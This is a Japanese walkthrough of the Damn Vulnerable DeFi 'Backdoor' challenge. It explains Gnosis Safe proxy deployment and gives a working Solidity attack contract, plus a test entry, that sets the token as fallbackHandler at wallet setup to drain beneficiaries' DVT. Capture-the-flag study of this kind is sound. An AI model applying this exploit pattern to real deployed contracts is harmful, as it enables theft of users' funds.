ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。開始する前に、Solidity および JavaScript に関するスキルを持っている必要があります。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/11.html
問題の説明:
より安全なウォレットを作成するためのインセンティブとして、WalletRegistry コントラクトがデプロイされました。誰かがこのコントラクトに受益者として登録し、Gnosis Safe ウォレットを作成すると、ウォレットに 10 個の DVT トークンが付与されます。
現在、4 人が受益者として登録されています:アリス、ボブ、チャーリー、デビッド。WalletRegistry コントラクトには 40 個の DVT が存在します。
あなたの目標は、この 40 個の DVT を盗むことです。
開始する前に、プロキシコントラクト、マルチシグウォレット、EVM メモリレイアウト、Solidity インラインアセンブリ に関する知識を理解しておく必要があります。ここでは詳しく説明しません。
もし上記の内容を理解しているのであれば、次に正式に始めることができます。
しかし、その前に Gnosis Safe
1.3.0 バージョンのコントラクトアーキテクチャについて紹介する必要があります。Gnosis Safe
のデプロイメント段階には、3 つの重要なコントラクトがあります。
GnosisSafeProxyFactory
GnosisSafeProxy
GnosisSafe
GnosisSafe
はマルチシグロジックを処理するコントラクトで、あらかじめデプロイされています。イーサリアムメインネット上のアドレスは 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552
です。
私たちが Gnosis Safe
ウェブサイトでマルチシグウォレットを作成する際に、実際にインタラクションするコントラクトは GnosisSafeProxyFactory
であり、このコントラクトは GnosisSafeProxy
プロキシコントラクトを作成してデプロイします。プロキシコントラクトのロジックコントラクトアドレスは、すでにデプロイされている GnosisSafe
コントラクトです。したがって、私たちが作成するマルチシグウォレットは実際には GnosisSafeProxy
プロキシコントラクトです。
このプロキシモデルを採用することで、データは GnosisSafeProxy
コントラクトに保存され、以下の利点があります:
- マルチシグロジックは再利用可能であり、プロキシモデルはロジックコントラクトの重複デプロイを回避します。これにより、ユーザーがマルチシグウォレットを作成する際の
ガス
料金を節約できます。 - データはユーザー自身が作成したウォレットに保存され、ロジックコントラクトに一元的に保存されることはなく、各マルチシグウォレットのデータとロジックが分離されます。
GnosisSafeProxyFactory
がプロキシコントラクトをデプロイするためのコアメソッドは次のとおりです。
function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}
このメソッドのパラメータは次のとおりです:
_singleton
:デプロイ済みのロジックコントラクトアドレスinitializer
:ロジックコントラクトGnosisSafeProxy
のsetup
メソッドのcalldata
salt
:デプロイコントラクトのsalt
値、長さは 32 バイト
関数内部では、2 つのインラインアセンブリ関数 create2
と call
が使用されています。関連する内容は evm.codes で確認できます。
create2(value, offset, size, salt)
はコントラクトをデプロイし、コントラクトアドレスを返します。
value
:デプロイ時にコントラクトアカウントに送信されるETH
の量、単位はwei
offset
:メモリの開始位置size
:開始位置からの長さsalt
:デプロイコントラクトのsalt
値、長さは 32 バイト
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)
はコントラクトメソッドを呼び出します。
gas
:必要なガスaddress
:ターゲットコントラクトアドレスvalue
:ターゲットコントラクトに転送される ETHargsOffset
:送信されるcalldata
のメモリ内の開始位置argsSize
:送信されるcalldata
の長さretOffset
:戻り値がメモリに書き込まれる開始位置retSize
:戻り値の長さ
deployProxy
は internal
であるため、GnosisSafeProxyFactory
コントラクトは外部からプロキシコントラクトを作成するために以下の 2 つのメソッドを公開しています。
// nonce を使用してプロキシコントラクトを作成
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// 初期化子が変更される場合、プロキシアドレスも変更されるべきです。初期化子データをハッシュ化する方が単に連結するよりも安価です。
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}
// プロキシコントラクトを作成し、コールバックコントラクトの proxyCreated メソッドを呼び出す
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
問題に戻ると、コントラクト WalletRegistry
は IProxyCreationCallback
を継承しており、上記のメソッド createProxyWithCallback
には次のようなコードがあります。
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
callback
が存在する場合、その proxyCreated
メソッドが呼び出されます。つまり、callback
が WalletRegistry
の場合、その proxyCreated
メソッドが呼び出されます:
function proxyCreated(
GnosisSafeProxy proxy, // プロキシコントラクト
address singleton, // ロジックコントラクトアドレス
bytes calldata initializer, // 初期化データ
uint256
) external override {
// コントラクトに 10 個の DVT があることを確認
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// ウォレットアドレスを取得
address payable walletAddress = payable(proxy);
// 呼び出し元が GnosisSafeProxyFactory であることを確認
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// 初期化子の最初の 4 バイトが GnosisSafe.setup 関数のセレクタであることを確認
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// ウォレットの所有者を取得
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// 所有者が受益者であることを確認(受益者のみがウォレットの所有者になれる)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// 所有者を受益者から削除
_removeBeneficiary(walletOwner);
// 所有者が持つウォレットアドレスを記録
wallets[walletOwner] = walletAddress;
// 10DVT をマルチシグウォレットに転送
token.transfer(walletAddress, TOKEN_PAYMENT);
}
ここまでのまとめ:
WalletRegistry
コントラクトは受益者アドレスを追加でき、受益者はマルチシグウォレットを作成し、10 個のDVT
をウォレットアドレスに転送できます。- マルチシグウォレットを作成するには、
GnosisSafeProxyFactory
コントラクトのcreateProxyWithCallback
メソッドを呼び出す必要があります。createProxyWithCallback
を呼び出す際にcallback
を渡すことでproxyCreated
メソッドをコールバックできます。- ウォレット作成の過程で
initializer
が存在する場合、呼び出されます。
現在、4 人の受益者がいるため、4 つのマルチシグウォレットを作成できます。それぞれのウォレットには 10 個の DVT
が含まれています。
目標は、マルチシグウォレットからこれらの DVT
を引き出すことです。しかし、私たちはウォレットの所有者ではないため、DVT
を自分のアカウントに移す方法を考える必要があります。
鍵となるのは initializer
の値です。前述のように、initializer
はロジックコントラクト GnosisSafe
の setup
メソッドの calldata
であり、ウォレット作成時にこのメソッドが呼び出されます。setup
メソッドの実装は次のとおりです。
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners は、しきい値がすでに設定されているかどうかを確認し、このメソッドが 2 回呼び出されるのを防ぎます
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// setupOwners はコントラクトが初期化されていない場合にのみ呼び出されるため、setupModules のチェックは必要ありません
setupModules(to, data);
if (payment > 0) {
// EIP-170 の問題を回避するために handlePayment 関数を再利用します(検証されたコードの調整を避けるために、メソッド自体は調整しません)
// baseGas = 0, gasPrice = 1, gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
メソッドのパラメータ:
_owners
:ウォレットの所有者_threshold
:トランザクションを開始する際に、最小限の同意が必要な人数to
:delegtecall
コントラクトアドレスdata
:delegtecall
のcalldata
fallbackHandler
:存在しないメソッドを呼び出す際の処理コントラクトpaymentToken
:支払いトークンアドレスpayment
:支払い額paymentReceiver
:支払いの受取人
fallbackHandler
はコントラクトアドレスであり、存在しないメソッドを呼び出すときに同名のメソッドが呼び出されます。たとえば、transfer
を呼び出すと、GnosisSafe
にはこのメソッドがないため、fallbackHandler.transfer
が呼び出されます。したがって、fallbackHandler
を DVT
コントラクトのアドレスに設定し、関連するパラメータを渡すことができます。
以下は攻撃コントラクト BackdoorAttack.sol
です。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../backdoor/WalletRegistry.sol";
interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}
contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// 受益者をループして、ウォレットを作成
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;
bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup メソッドのセレクタ
// 以下は setup メソッドのパラメータ
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // payment
address(0x0) // paymentReceiver
);
// ウォレットを作成
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // ロジックコントラクトアドレス
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // コールバック
);
address wallet = address(proxy);
// ウォレット(プロキシコントラクト)の transfer メソッドを呼び出す。これはロジックコントラクトの transfer メソッドを呼び出すことに相当します。つまり、fallbackHandler.transfer を呼び出すことになります。
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}
テストファイル backdoor.challenge.js
に攻撃エントリを追加します。
it('Exploit', async function () {
await ethers.getContractFactory('BackdoorAttack', attacker).then(contract => contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
))
})
最後に yarn backdoor
を実行してテストを通過させます!